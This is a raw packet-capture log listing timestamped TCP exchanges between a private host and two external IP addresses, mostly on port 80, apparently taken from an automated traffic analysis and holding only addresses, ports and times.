Oct 29, 2024 20:35:24.337754011 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337769985 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337780952 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337780952 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337786913 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337802887 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337811947 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337811947 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337820053 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337837934 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337846041 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337846041 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337862968 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337878942 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337881088 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337881088 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337896109 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337912083 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337918043 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337918043 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337939978 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337950945 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337950945 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337954998 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337994099 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337994099 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.338251114 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338268042 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338285923 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338303089 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338313103 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.338313103 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.338320017 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338335991 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338352919 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338368893 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338376999 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.338376999 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.338396072 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338418007 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.338418007 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.338433027 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338455915 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338468075 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.338468075 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.338480949 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338505983 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338515997 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.338515997 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.338541985 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338567019 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338578939 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.338578939 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.338589907 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338613987 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338623047 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.338623047 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.338650942 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338650942 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.338675022 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338701010 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338726044 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338736057 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.338736057 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.338749886 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338774920 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338783979 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.338783979 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.338799953 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338824987 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338835955 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.338835955 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.338849068 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338874102 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338884115 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.338884115 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.338898897 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338922977 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338943958 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.338943958 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.338948011 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338982105 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.338996887 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.338996887 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.339061022 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.339731932 CET	49960	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.339771986 CET	443	49960	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.339859962 CET	49960	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.341012955 CET	49961	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.341046095 CET	443	49961	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.341123104 CET	49961	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.341614962 CET	49960	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.341629028 CET	443	49960	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.341914892 CET	49961	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.341931105 CET	443	49961	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.352734089 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.352792978 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.352798939 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.352828026 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.352866888 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.352866888 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.352878094 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.352914095 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.352936029 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.352946043 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.352979898 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.352982998 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.352982998 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.353008986 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.353040934 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.353065014 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.353065014 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.353074074 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.353111029 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.353111029 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.353123903 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.353157043 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.353167057 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.353189945 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.353223085 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.353228092 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.353228092 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.353259087 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.353291035 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.353303909 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.353303909 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.353323936 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.353358030 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.353363037 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.353363991 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.353385925 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.353419065 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.353420973 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.353420973 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.353450060 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.353487968 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.353487968 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.353501081 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.353533983 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.353566885 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.353574038 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.353574038 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.353600025 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.353631973 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.353637934 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.353637934 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.353681087 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.353713036 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.353746891 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.353753090 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.353753090 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.353777885 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.353813887 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.353813887 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.354101896 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.354136944 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.354187965 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.354219913 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.354228020 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.354228020 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.354254007 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.354259968 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.354286909 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.354320049 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.354331970 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.354331970 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.354352951 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.354378939 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.354384899 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.354418039 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.354433060 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.354433060 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.354451895 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.354501009 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.354513884 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.354533911 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.354557037 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.354557037 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.354566097 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.354614019 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.354633093 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.354633093 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.354645967 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.354679108 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.354681969 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.354681969 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.354711056 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.354743004 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.354747057 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.354747057 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.354774952 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.354808092 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.354811907 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.354811907 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.354840040 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.354866982 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.354873896 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.354906082 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.354914904 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.354914904 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.354938984 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.354970932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.355004072 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.355010033 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.355010033 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.355036974 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.355070114 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.355072021 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.355072021 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.355102062 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.355137110 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.355146885 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.355146885 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.355170965 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.355206013 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.355210066 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.355210066 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.355233908 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.355257988 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.355326891 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.355330944 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.355381966 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.355416059 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.355420113 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.355420113 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.355464935 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.355498075 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.355505943 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.355530977 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.355564117 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.355576038 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.355576038 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.355619907 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.355621099 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.355669022 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.355701923 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.355705976 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.355705976 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.355736971 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.355768919 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.355775118 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.355775118 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.355802059 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.355809927 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.355839968 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.355873108 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.355905056 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.355910063 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.355910063 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.355937004 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.355968952 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.355981112 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.355981112 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.356003046 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.356036901 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.356040955 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.356040955 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.356070042 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.356097937 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.356106043 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.356106043 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.356132030 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.356167078 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.356184006 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.356184006 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.356209040 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.356215954 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.356240988 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.356273890 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.356306076 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.356309891 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.356309891 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.356339931 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.356373072 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.356375933 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.356375933 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.356405020 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.356436968 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.356441021 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.356441021 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.356472015 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.356508970 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.356508970 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.379698038 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.379733086 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.379745007 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.379759073 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.379762888 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.379775047 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.379786015 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.379797935 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.379818916 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.379818916 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.379885912 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.379897118 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.379908085 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.379916906 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.379919052 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.379930973 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.379941940 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.379961014 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.379967928 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.379967928 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.379972935 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.379985094 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.380008936 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.380008936 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.380053997 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.381455898 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381470919 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381480932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381493092 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381505013 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381515980 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381527901 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381546021 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381553888 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.381553888 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.381557941 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381567955 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381578922 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381589890 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381601095 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381611109 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.381611109 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.381612062 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381624937 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381649017 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.381649017 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.381685019 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381701946 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381711960 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381722927 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381724119 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.381724119 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.381735086 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381746054 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381757021 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.381757975 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.381757975 CET	49863	80	192.168.2.5	185.215.113.206
